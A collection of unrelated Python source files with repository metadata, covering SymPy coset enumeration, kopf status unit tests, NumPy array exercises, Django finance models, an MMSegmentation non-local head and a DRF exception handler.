modified_scan(self, alpha, w, y, fill=False): r""" Parameters ========== \alpha \in \Omega w \in A* y \in (YUY^-1) fill -- `modified_scan_and_fill` when set to True. See Also ======== scan """ self.scan(alpha, w, y=y, fill=fill, modified=True) def modified_scan_and_fill(self, alpha, w, y): self.modified_scan(alpha, w, y, fill=True) def modified_merge(self, k, lamda, w, q): r""" Parameters ========== 'k', 'lamda' -- the two class representatives to be merged. q -- queue of length l of elements to be deleted from `\Omega` *. w -- Word in (YUY^-1) See Also ======== merge """ self.merge(k, lamda, q, w=w, modified=True) def modified_rep(self, k): r""" Parameters ========== `k \in [0 \ldots n-1]` See Also ======== rep """ self.rep(k, modified=True) def modified_coincidence(self, alpha, beta, w): r""" Parameters ========== A coincident pair `\alpha, \beta \in \Omega, w \in Y \cup Y^{-1}` See Also ======== coincidence """ self.coincidence(alpha, beta, w=w, modified=True) ############################################################################### # COSET ENUMERATION # ############################################################################### # relator-based method def coset_enumeration_r(fp_grp, Y, max_cosets=None, draft=None, incomplete=False, modified=False): """ This is easier of the two implemented methods of coset enumeration. and is often called the HLT method, after Hazelgrove, Leech, Trotter The idea is that we make use of ``scan_and_fill`` makes new definitions whenever the scan is incomplete to enable the scan to complete; this way we fill in the gaps in the scan of the relator or subgroup generator, that's why the name relator-based method. An instance of `CosetTable` for `fp_grp` can be passed as the keyword argument `draft` in which case the coset enumeration will start with that instance and attempt to complete it. When `incomplete` is `True` and the function is unable to complete for some reason, the partially complete table will be returned. # TODO: complete the docstring See Also ======== scan_and_fill, Examples ======== >>> from sympy.combinatorics.free_groups import free_group >>> from sympy.combinatorics.fp_groups import FpGroup, coset_enumeration_r >>> F, x, y = free_group("x, y") # Example 5.1 from [1] >>> f = FpGroup(F, [x**3, y**3, x**-1*y**-1*x*y]) >>> C = coset_enumeration_r(f, [x]) >>> for i in range(len(C.p)): ... if C.p[i] == i: ... print(C.table[i]) [0, 0, 1, 2] [1, 1, 2, 0] [2, 2, 0, 1] >>> C.p [0, 1, 2, 1, 1] # Example from exercises Q2 [1] >>> f = FpGroup(F, [x**2*y**2, y**-1*x*y*x**-3]) >>> C = coset_enumeration_r(f, []) >>> C.compress(); C.standardize() >>> C.table [[1, 2, 3, 4], [5, 0, 6, 7], [0, 5, 7, 6], [7, 6, 5, 0], [6, 7, 0, 5], [2, 1, 4, 3], [3, 4, 2, 1], [4, 3, 1, 2]] # Example 5.2 >>> f = FpGroup(F, [x**2, y**3, (x*y)**3]) >>> Y = [x*y] >>> C = coset_enumeration_r(f, Y) >>> for i in range(len(C.p)): ... if C.p[i] == i: ... print(C.table[i]) [1, 1, 2, 1] [0, 0, 0, 2] [3, 3, 1, 0] [2, 2, 3, 3] # Example 5.3 >>> f = FpGroup(F, [x**2*y**2, x**3*y**5]) >>> Y = [] >>> C = coset_enumeration_r(f, Y) >>> for i in range(len(C.p)): ... if C.p[i] == i: ... print(C.table[i]) [1, 3, 1, 3] [2, 0, 2, 0] [3, 1, 3, 1] [0, 2, 0, 2] # Example 5.4 >>> F, a, b, c, d, e = free_group("a, b, c, d, e") >>> f = FpGroup(F, [a*b*c**-1, b*c*d**-1, c*d*e**-1, d*e*a**-1, e*a*b**-1]) >>> Y = [a] >>> C = coset_enumeration_r(f, Y) >>> for i in range(len(C.p)): ... if C.p[i] == i: ... print(C.table[i]) [0, 0, 0, 0, 0, 0, 0, 0, 0, 0] # example of "compress" method >>> C.compress() >>> C.table [[0, 0, 0, 0, 0, 0, 0, 0, 0, 0]] # Exercises Pg. 161, Q2. >>> F, x, y = free_group("x, y") >>> f = FpGroup(F, [x**2*y**2, y**-1*x*y*x**-3]) >>> Y = [] >>> C = coset_enumeration_r(f, Y) >>> C.compress() >>> C.standardize() >>> C.table [[1, 2, 3, 4], [5, 0, 6, 7], [0, 5, 7, 6], [7, 6, 5, 0], [6, 7, 0, 5], [2, 1, 4, 3], [3, 4, 2, 1], [4, 3, 1, 2]] # John J. Cannon; Lucien A. Dimino; George Havas; Jane M. Watson # Mathematics of Computation, Vol. 27, No. 123. (Jul., 1973), pp. 463-490 # from 1973chwd.pdf # Table 1. Ex. 1 >>> F, r, s, t = free_group("r, s, t") >>> E1 = FpGroup(F, [t**-1*r*t*r**-2, r**-1*s*r*s**-2, s**-1*t*s*t**-2]) >>> C = coset_enumeration_r(E1, [r]) >>> for i in range(len(C.p)): ... if C.p[i] == i: ... print(C.table[i]) [0, 0, 0, 0, 0, 0] Ex. 2 >>> F, a, b = free_group("a, b") >>> Cox = FpGroup(F, [a**6, b**6, (a*b)**2, (a**2*b**2)**2, (a**3*b**3)**5]) >>> C = coset_enumeration_r(Cox, [a]) >>> index = 0 >>> for i in range(len(C.p)): ... if C.p[i] == i: ... index += 1 >>> index 500 # Ex. 3 >>> F, a, b = free_group("a, b") >>> B_2_4 = FpGroup(F, [a**4, b**4, (a*b)**4, (a**-1*b)**4, (a**2*b)**4, \ (a*b**2)**4, (a**2*b**2)**4, (a**-1*b*a*b)**4, (a*b**-1*a*b)**4]) >>> C = coset_enumeration_r(B_2_4, [a]) >>> index = 0 >>> for i in range(len(C.p)): ... if C.p[i] == i: ... index += 1 >>> index 1024 References ========== .. [1] Holt, D., Eick, B., O'Brien, E. "Handbook of computational group theory" """ # 1. Initialize a coset table C for < X|R > C = CosetTable(fp_grp, Y, max_cosets=max_cosets) # Define coset table methods. if modified: _scan_and_fill = C.modified_scan_and_fill _define = C.modified_define else: _scan_and_fill = C.scan_and_fill _define = C.define if draft: C.table = draft.table[:] C.p = draft.p[:] R = fp_grp.relators A_dict = C.A_dict p = C.p for i in range(0, len(Y)): if modified: _scan_and_fill(0, Y[i], C._grp.generators[i]) else: _scan_and_fill(0, Y[i]) alpha = 0 while alpha < C.n: if p[alpha] == alpha: try: for w in R: if modified: _scan_and_fill(alpha, w, C._grp.identity) else: _scan_and_fill(alpha, w) # if alpha was eliminated during the scan then break if p[alpha] < alpha: break if p[alpha] == alpha: for x in A_dict: if C.table[alpha][A_dict[x]] is None: _define(alpha, x) except ValueError as e: if incomplete: return C raise e alpha += 1 return C def modified_coset_enumeration_r(fp_grp, Y, max_cosets=None, draft=None, incomplete=False): r""" Introduce a new set of symbols y \in Y that correspond to the generators of the subgroup. Store the elements of Y as a word P[\alpha, x] and compute the coset table similar to that of the regular coset enumeration methods. Examples ======== >>> from sympy.combinatorics.free_groups import free_group >>> from sympy.combinatorics.fp_groups import FpGroup, coset_enumeration_r >>> from sympy.combinatorics.coset_table import modified_coset_enumeration_r >>> F, x, y = free_group("x, y") >>> f = FpGroup(F, [x**3, y**3, x**-1*y**-1*x*y]) >>> C = modified_coset_enumeration_r(f, [x]) >>> C.table [[0, 0, 1, 2], [1, 1, 2, 0], [2, 2, 0, 1], [None, 1, None, None], [1, 3, None, None]] See Also ======== coset_enumertation_r References ========== .. [1] Holt, D., Eick, B., O'Brien, E., "Handbook of Computational Group Theory", Section 5.3.2 """ return coset_enumeration_r(fp_grp, Y, max_cosets=max_cosets, draft=draft, incomplete=incomplete, modified=True) # Pg. 166 # coset-table based method def coset_enumeration_c(fp_grp, Y, max_cosets=None, draft=None, incomplete=False): """ >>> from sympy.combinatorics.free_groups import free_group >>> from sympy.combinatorics.fp_groups import FpGroup, coset_enumeration_c >>> F, x, y = free_group("x, y") >>> f = FpGroup(F, [x**3, y**3, x**-1*y**-1*x*y]) >>> C = coset_enumeration_c(f, [x]) >>> C.table [[0, 0, 1, 2], [1, 1, 2, 0], [2, 2, 0, 1]] """ # Initialize a coset table C for < X|R > X = fp_grp.generators R = fp_grp.relators C = CosetTable(fp_grp, Y, max_cosets=max_cosets) if draft: C.table = draft.table[:] C.p = draft.p[:] C.deduction_stack = draft.deduction_stack for alpha, x in product(range(len(C.table)), X): if not C.table[alpha][C.A_dict[x]] is None: C.deduction_stack.append((alpha, x)) A = C.A # replace all the elements by cyclic reductions R_cyc_red = [rel.identity_cyclic_reduction() for rel in R] R_c = list(chain.from_iterable((rel.cyclic_conjugates(), (rel**-1).cyclic_conjugates()) \ for rel in R_cyc_red)) R_set = set() for conjugate in R_c: R_set = R_set.union(conjugate) # a list of subsets of R_c whose words start with "x". R_c_list = [] for x in C.A: r = {word for word in R_set if word[0] == x} R_c_list.append(r) R_set.difference_update(r) for w in Y: C.scan_and_fill_c(0, w) for x in A: C.process_deductions(R_c_list[C.A_dict[x]], R_c_list[C.A_dict_inv[x]]) alpha = 0 while alpha < len(C.table): if C.p[alpha] == alpha: try: for x in C.A: if C.p[alpha] != alpha: break if C.table[alpha][C.A_dict[x]] is None: C.define_c(alpha, x) C.process_deductions(R_c_list[C.A_dict[x]], R_c_list[C.A_dict_inv[x]]) except ValueError as e: if incomplete: return C raise e alpha += 1 return C
acc6e458d0eed26bbf21d9f29e8da48301241569
995447d49ea0b6f78ea70fac64959bf39f28556a
/datasets/__init__.py
e6230fde23e7922291a414c79e408227b603e894
[ "MIT" ]
permissive
hhjung1202/DAtoN
ffcfe389292f8f3429ffc6b04d016bdf40506ee5
9d1beff544e695caa3149d6304415889e091cafd
refs/heads/master
2020-05-18T07:51:43.489041
2019-05-03T03:11:44
2019-05-03T03:11:44
184,278,450
0
0
null
null
null
null
UTF-8
Python
false
false
126
py
from .mnist import get_mnist from .usps import get_usps from .svhn import get_svhn __all__ = (get_usps, get_mnist, get_svhn)
6153ed244acbd1deac19c433cbd01c43350d4ff4
f0d713996eb095bcdc701f3fab0a8110b8541cbb
/2gFkEsAqNZrs4yeck_13.py
0e96182a63f5aad185cacd1b5bcad33ff13d32f2
[]
no_license
daniel-reich/turbo-robot
feda6c0523bb83ab8954b6d06302bfec5b16ebdf
a7a25c63097674c0a81675eed7e6b763785f1c41
refs/heads/main
2023-03-26T01:55:14.210264
2021-03-23T16:08:01
2021-03-23T16:08:01
350,773,815
0
0
null
null
null
null
UTF-8
Python
false
false
696
py
""" Write a function that returns all the elements in an array that are **strictly greater** than their adjacent left and right neighbors. ### Examples mini_peaks([4, 5, 2, 1, 4, 9, 7, 2]) ➞ [5, 9] # 5 has neighbours 4 and 2, both are less than 5. mini_peaks([1, 2, 1, 1, 3, 2, 5, 4, 4]) ➞ [2, 3, 5] mini_peaks([1, 2, 3, 4, 5, 6]) ➞ [] ### Notes * Do not count boundary numbers, since they only have **one** left/right neighbor. * If no such numbers exist, return an empty array. """ def mini_peaks(lst): alist = [] for i in range(1,len(lst)-1): if lst[i-1] < lst[i] > lst[i+1]: alist.append(lst[i]) ​ return alist
20fb226181a168dd6671f5f065e241134074e33a
91d1a6968b90d9d461e9a2ece12b465486e3ccc2
/route53_write_f/dns-answer_test.py
f8d48671d2f746eca041962279f310374a54a8cc
[]
no_license
lxtxl/aws_cli
c31fc994c9a4296d6bac851e680d5adbf7e93481
aaf35df1b7509abf5601d3f09ff1fece482facda
refs/heads/master
2023-02-06T09:00:33.088379
2020-12-27T13:38:45
2020-12-27T13:38:45
318,686,394
0
0
null
null
null
null
UTF-8
Python
false
false
390
py
#!/usr/bin/python # -*- codding: utf-8 -*- import os import sys sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__)))) from common.execute_command import write_parameter # url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/describe-instances.html if __name__ == '__main__': """ """ write_parameter("route53", "test-dns-answer")
2049346c2d9e4a956951a4fa5b7244e5b807fbb8
aff98325082a912c84471b7a505ab565175b0289
/tests/test_progress.py
2d3bd9a9fdaeb394b7f7af6b7cb5d68b7695ec3e
[ "MIT" ]
permissive
dbazhal/kopf
a10dde232095eaf7104f1623a1f6bfc33cb80363
ac772f2d7ce1272f47f10ebff784f54a6ec8dcfa
refs/heads/master
2020-06-15T03:51:57.055815
2020-01-13T14:23:29
2020-01-13T14:23:29
195,031,097
0
0
MIT
2019-07-03T10:21:51
2019-07-03T10:21:50
null
UTF-8
Python
false
false
15,676
py
import copy import datetime from unittest.mock import Mock import freezegun import pytest from kopf.structs.status import ( is_started, is_sleeping, is_awakened, is_finished, get_start_time, get_awake_time, get_retry_count, set_start_time, set_awake_time, set_retry_time, store_failure, store_success, store_result, purge_progress, ) # Timestamps: time zero (0), before (B), after (A), and time zero+1s (1). TSB = datetime.datetime(2020, 12, 31, 23, 59, 59, 000000) TS0 = datetime.datetime(2020, 12, 31, 23, 59, 59, 123456) TS1 = datetime.datetime(2021, 1, 1, 00, 00, 00, 123456) TSA = datetime.datetime(2020, 12, 31, 23, 59, 59, 999999) TSB_ISO = '2020-12-31T23:59:59.000000' TS0_ISO = '2020-12-31T23:59:59.123456' TS1_ISO = '2021-01-01T00:00:00.123456' TSA_ISO = '2020-12-31T23:59:59.999999' @pytest.fixture() def handler(): return Mock(id='some-id', spec_set=['id']) @pytest.mark.parametrize('expected, body', [ (False, {}), (False, {'status': {}}), (False, {'status': {'kopf': {}}}), (False, {'status': {'kopf': {'progress': {}}}}), (False, {'status': {'kopf': {'progress': {'etc-id': {}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {}}}}}), ]) def test_is_started(handler, expected, body): origbody = copy.deepcopy(body) result = is_started(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('expected, body', [ (False, {}), (False, {'status': {}}), (False, {'status': {'kopf': {}}}), (False, {'status': {'kopf': {'progress': {}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': False}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': False}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'success': True}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'failure': True}}}}}), ]) def test_is_finished(handler, expected, body): origbody = copy.deepcopy(body) result = is_finished(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('expected, body', [ # Everything that is finished is not sleeping, no matter the sleep/awake field. (False, {'status': {'kopf': {'progress': {'some-id': {'success': True}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': True}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': True, 'delayed': TS0_ISO}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': True, 'delayed': TS0_ISO}}}}}), # Everything with no sleep/awake field set is not sleeping either. (False, {'status': {'kopf': {'progress': {'some-id': {}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': None, 'delayed': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': None, 'delayed': None}}}}}), # When not finished and has awake time, the output depends on the relation to "now". (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO, 'success': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO, 'failure': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO, 'success': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO, 'failure': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO, 'success': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO, 'failure': None}}}}}), ]) @freezegun.freeze_time(TS0) def test_is_sleeping(handler, expected, body): origbody = copy.deepcopy(body) result = is_sleeping(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('expected, body', [ # Everything that is finished never awakens, no matter the sleep/awake field. (False, {'status': {'kopf': {'progress': {'some-id': {'success': True}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': True}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'success': True, 'delayed': TS0_ISO}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'failure': True, 'delayed': TS0_ISO}}}}}), # Everything with no sleep/awake field is not sleeping, thus by definition is awake. (True , {'status': {'kopf': {'progress': {'some-id': {}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'success': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'failure': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'success': None, 'delayed': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'failure': None, 'delayed': None}}}}}), # When not finished and has awake time, the output depends on the relation to "now". (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO, 'success': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO, 'failure': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO, 'success': None}}}}}), (True , {'status': {'kopf': {'progress': {'some-id': {'delayed': TSB_ISO, 'failure': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO, 'success': None}}}}}), (False, {'status': {'kopf': {'progress': {'some-id': {'delayed': TSA_ISO, 'failure': None}}}}}), ]) @freezegun.freeze_time(TS0) def test_is_awakened(handler, expected, body): origbody = copy.deepcopy(body) result = is_awakened(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('expected, body', [ (None, {}), (None, {'status': {}}), (None, {'status': {'kopf': {}}}), (None, {'status': {'kopf': {'progress': {}}}}), (None, {'status': {'kopf': {'progress': {'some-id': {}}}}}), (None, {'status': {'kopf': {'progress': {'some-id': {'delayed': None}}}}}), (TS0, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO}}}}}), ]) def test_get_awake_time(handler, expected, body): origbody = copy.deepcopy(body) result = get_awake_time(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('expected, body, patch', [ (None, {}, {}), (None, {'status': {}}, {}), (None, {'status': {'kopf': {}}}, {}), (None, {'status': {'kopf': {'progress': {}}}}, {}), (None, {'status': {'kopf': {'progress': {'some-id': {}}}}}, {}), (None, {'status': {'kopf': {'progress': {'some-id': {'started': None}}}}}, {}), (TS0, {'status': {'kopf': {'progress': {'some-id': {'started': TS0_ISO}}}}}, {}), (None, {}, {'status': {}}), (None, {}, {'status': {'kopf': {}}}), (None, {}, {'status': {'kopf': {'progress': {}}}}), (None, {}, {'status': {'kopf': {'progress': {'some-id': {}}}}}), (None, {}, {'status': {'kopf': {'progress': {'some-id': {'started': None}}}}}), (TS0, {}, {'status': {'kopf': {'progress': {'some-id': {'started': TS0_ISO}}}}}), (TSB, # the patch has priority {'status': {'kopf': {'progress': {'some-id': {'started': TSA_ISO}}}}}, {'status': {'kopf': {'progress': {'some-id': {'started': TSB_ISO}}}}}), ]) def test_get_start_time(handler, expected, body, patch): origbody = copy.deepcopy(body) origpatch = copy.deepcopy(patch) result = get_start_time(body=body, patch=patch, handler=handler) assert result == expected assert body == origbody # not modified assert patch == origpatch # not modified @pytest.mark.parametrize('expected, body', [ (0, {}), (0, {'status': {}}), (0, {'status': {'kopf': {'progress': {}}}}), (0, {'status': {'kopf': {'progress': {'some-id': {}}}}}), (0, {'status': {'kopf': {'progress': {'some-id': {'retries': None}}}}}), (6, {'status': {'kopf': {'progress': {'some-id': {'retries': 6}}}}}), ]) def test_get_retry_count(handler, expected, body): origbody = copy.deepcopy(body) result = get_retry_count(body=body, handler=handler) assert result == expected assert body == origbody # not modified @pytest.mark.parametrize('body, expected', [ ({}, {'status': {'kopf': {'progress': {'some-id': {'started': TS0_ISO}}}}}), ]) @freezegun.freeze_time(TS0) def test_set_start_time(handler, expected, body): origbody = copy.deepcopy(body) patch = {} set_start_time(body=body, patch=patch, handler=handler) assert patch == expected assert body == origbody # not modified @pytest.mark.parametrize('body, delay, expected', [ ({}, None, {'status': {'kopf': {'progress': {'some-id': {'delayed': None}}}}}), ({}, 0, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS0_ISO}}}}}), ({}, 1, {'status': {'kopf': {'progress': {'some-id': {'delayed': TS1_ISO}}}}}), ]) @freezegun.freeze_time(TS0) def test_set_awake_time(handler, expected, body, delay): origbody = copy.deepcopy(body) patch = {} set_awake_time(body=body, patch=patch, handler=handler, delay=delay) assert patch == expected assert body == origbody # not modified @pytest.mark.parametrize('body, delay, expected', [ ({}, None, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': None}}}}}), ({}, 0, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': TS0_ISO}}}}}), ({}, 1, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': TS1_ISO}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': None}}}}}, None, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': None}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': None}}}}}, 0, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': TS0_ISO}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': None}}}}}, 1, {'status': {'kopf': {'progress': {'some-id': {'retries': 1, 'delayed': TS1_ISO}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, None, {'status': {'kopf': {'progress': {'some-id': {'retries': 6, 'delayed': None}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, 0, {'status': {'kopf': {'progress': {'some-id': {'retries': 6, 'delayed': TS0_ISO}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, 1, {'status': {'kopf': {'progress': {'some-id': {'retries': 6, 'delayed': TS1_ISO}}}}}), ]) @freezegun.freeze_time(TS0) def test_set_retry_time(handler, expected, body, delay): origbody = copy.deepcopy(body) patch = {} set_retry_time(body=body, patch=patch, handler=handler, delay=delay) assert patch == expected assert body == origbody # not modified @pytest.mark.parametrize('body, expected', [ ({}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'failure': True, 'retries': 1, 'message': 'some-error'}}}}}), ({'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'failure': True, 'retries': 6, 'message': 'some-error'}}}}}), ]) @freezegun.freeze_time(TS0) def test_store_failure(handler, expected, body): origbody = copy.deepcopy(body) patch = {} store_failure(body=body, patch=patch, handler=handler, exc=Exception("some-error")) assert patch == expected assert body == origbody # not modified @pytest.mark.parametrize('result, body, expected', [ # With no result, it updates only the progress. (None, {}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'success': True, 'retries': 1, 'message': None}}}}}), (None, {'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'success': True, 'retries': 6, 'message': None}}}}}), # With the result, it updates also the status. ({'field': 'value'}, {}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'success': True, 'retries': 1, 'message': None}}}, 'some-id': {'field': 'value'}}}), ({'field': 'value'}, {'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}, {'status': {'kopf': {'progress': {'some-id': {'stopped': TS0_ISO, 'success': True, 'retries': 6, 'message': None}}}, 'some-id': {'field': 'value'}}}), ]) @freezegun.freeze_time(TS0) def test_store_success(handler, expected, body, result): origbody = copy.deepcopy(body) patch = {} store_success(body=body, patch=patch, handler=handler, result=result) assert patch == expected assert body == origbody # not modified @pytest.mark.parametrize('result, expected', [ (None, {}), ({'field': 'value'}, {'status': {'some-id': {'field': 'value'}}}), ('string', {'status': {'some-id': 'string'}}), ]) def test_store_result(handler, expected, result): patch = {} store_result(patch=patch, handler=handler, result=result) assert patch == expected @pytest.mark.parametrize('body', [ ({}), ({'status': {'kopf': {'progress': {'some-id': {'retries': 5}}}}}), ]) def test_purge_progress(body): origbody = copy.deepcopy(body) patch = {} purge_progress(body=body, patch=patch) assert patch == {'status': {'kopf': {'progress': None}}} assert body == origbody # not modified
c1b26cced7bf736c91ff5349abd7750a5eefa8d8
e60487a8f5aad5aab16e671dcd00f0e64379961b
/python_stack/Algos/numPy/updateNumpy.py
764b3af48fbc0778e1b980e0ca73c7c9f9fe3f14
[]
no_license
reenadangi/python
4fde31737e5745bc5650d015e3fa4354ce9e87a9
568221ba417dda3be7f2ef1d2f393a7dea6ccb74
refs/heads/master
2021-08-18T08:25:40.774877
2021-03-27T22:20:17
2021-03-27T22:20:17
247,536,946
0
0
null
null
null
null
UTF-8
Python
false
false
775
py
import numpy as np x=np.array([12,34,56,78,99]) y=np.array([[1,2,3],[4,5,6],[7,8,9]]) print(f"Orginal array{x}") # access print(x[0],x[len(x)-1],x[-1],x[-2]) # Modify for i in range(len(x)): x[i]=x[i]*2 # delete first and last element x=np.delete(x,[0,4]) print(x) print(y) # delete first row (x axis) y=np.delete(y,[0],axis=0) print(y) # delete first col(y axis) y=np.delete(y,[0],axis=1) print(y) # append print(x.dtype) x=np.append(x,[14.5,243]) print(x) print(x.dtype) # insert x=np.insert(x,1,58) print(x) x=np.insert(x,2,3) print(x) y=np.insert(y,1,34,axis=1) print(y) # stacking - vstack/hstack # It's important that size of stacks are same x=np.array([1,2,3]) y=np.array([30,40,50]) z=np.vstack((x,y)) print(z) # hstack - Horizontal z=np.hstack((x,y)) print(z)
284ce95f34b4a10c66e71f2e3477dda5167fac94
b6d2354b06732b42d3de49d3054cb02eb30298c4
/finance/models/score.py
df2c1a647c8480e32ca35a6f81dc0cb04266d188
[]
no_license
trivvet/finplanner
52ad276839bfae67821b9684f7db549334ef0a59
1d82d1a09da6f04fced6f71b53aeb784af00f758
refs/heads/master
2020-03-17T23:24:25.071311
2018-10-28T10:12:07
2018-10-28T10:12:07
134,043,419
0
0
null
null
null
null
UTF-8
Python
false
false
1,408
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models # Create your models here. class ScorePrototype(models.Model): class Meta: abstract=True month = models.ForeignKey( 'Month', on_delete=models.CASCADE, blank=False, null=False, verbose_name="Month" ) amount = models.IntegerField( blank=False, null=False, verbose_name="Money Amount" ) remainder = models.IntegerField( blank=True, null=True, verbose_name="Money Remainder" ) class Score(ScorePrototype): class Meta: verbose_name = "Belance" verbose_name_plural = "Belances" account = models.ForeignKey( 'Account', on_delete=models.CASCADE, blank=False, null=False, verbose_name="Bank Account" ) def __unicode__(self): return u"Залишок за %s по %s" % (self.month.name, self.account) class PlannedExpense(ScorePrototype): class Meta: verbose_name = "Planned Expense" verbose_name_plural = "Planned Expenses" title = models.CharField( max_length=256, blank=False, null=False, verbose_name="Title" ) def __unicode__(self): return u"Заплановані витрати на %s за %s" % (self.title, self.month.name)
4bc6b2ded7a42b226ac3a04ee7c6be4878dd796e
8ca4992e5c7f009147875549cee21c0efb7c03eb
/mmseg/models/decode_heads/nl_head.py
bbbe70b5fb7233fd840941678657950119fda43e
[ "Apache-2.0" ]
permissive
JiayuZou2020/DiffBEV
0ada3f505fc5106d8b0068c319f0b80ed366b673
527acdb82ac028061893d9d1bbe69e589efae2a0
refs/heads/main
2023-05-23T07:25:39.465813
2023-04-04T02:53:05
2023-04-04T02:53:05
613,895,691
181
8
null
null
null
null
UTF-8
Python
false
false
1,655
py
# Copyright (c) OpenMMLab. All rights reserved. import torch from mmcv.cnn import NonLocal2d from ..builder import HEADS from .fcn_head import FCNHead @HEADS.register_module() class NLHead(FCNHead): """Non-local Neural Networks. This head is the implementation of `NLNet <https://arxiv.org/abs/1711.07971>`_. Args: reduction (int): Reduction factor of projection transform. Default: 2. use_scale (bool): Whether to scale pairwise_weight by sqrt(1/inter_channels). Default: True. mode (str): The nonlocal mode. Options are 'embedded_gaussian', 'dot_product'. Default: 'embedded_gaussian.'. """ def __init__(self, reduction=2, use_scale=True, mode='embedded_gaussian', **kwargs): super(NLHead, self).__init__(num_convs=2, **kwargs) self.reduction = reduction self.use_scale = use_scale self.mode = mode self.nl_block = NonLocal2d( in_channels=self.channels, reduction=self.reduction, use_scale=self.use_scale, conv_cfg=self.conv_cfg, norm_cfg=self.norm_cfg, mode=self.mode) def forward(self, inputs): """Forward function.""" x = self._transform_inputs(inputs) output = self.convs[0](x) output = self.nl_block(output) output = self.convs[1](output) if self.concat_input: output = self.conv_cat(torch.cat([x, output], dim=1)) output = self.cls_seg(output) return output
256bb7942ddc5136f4fa22e73823cc34bb46d2c0
0156514d371c04da404b50994804ede8d264042a
/rest_batteries/exception_handlers.py
15824e0dd41058bf34e5dd42c73220ed016ef552
[ "MIT" ]
permissive
defineimpossible/django-rest-batteries
68b074f18fcae304b9bac4a242f9a9eea98c6e9c
951cc7ec153d1342a861d7f6468862000d5ea9f3
refs/heads/master
2023-07-21T10:45:18.133691
2023-07-11T02:52:45
2023-07-11T02:52:45
284,420,681
21
0
MIT
2023-07-11T02:34:06
2020-08-02T08:19:39
Python
UTF-8
Python
false
false
397
py
from rest_framework.views import exception_handler from .errors_formatter import ErrorsFormatter def errors_formatter_exception_handler(exc, context): response = exception_handler(exc, context) # If unexpected error occurs (server error, etc.) if response is None: return response formatter = ErrorsFormatter(exc) response.data = formatter() return response
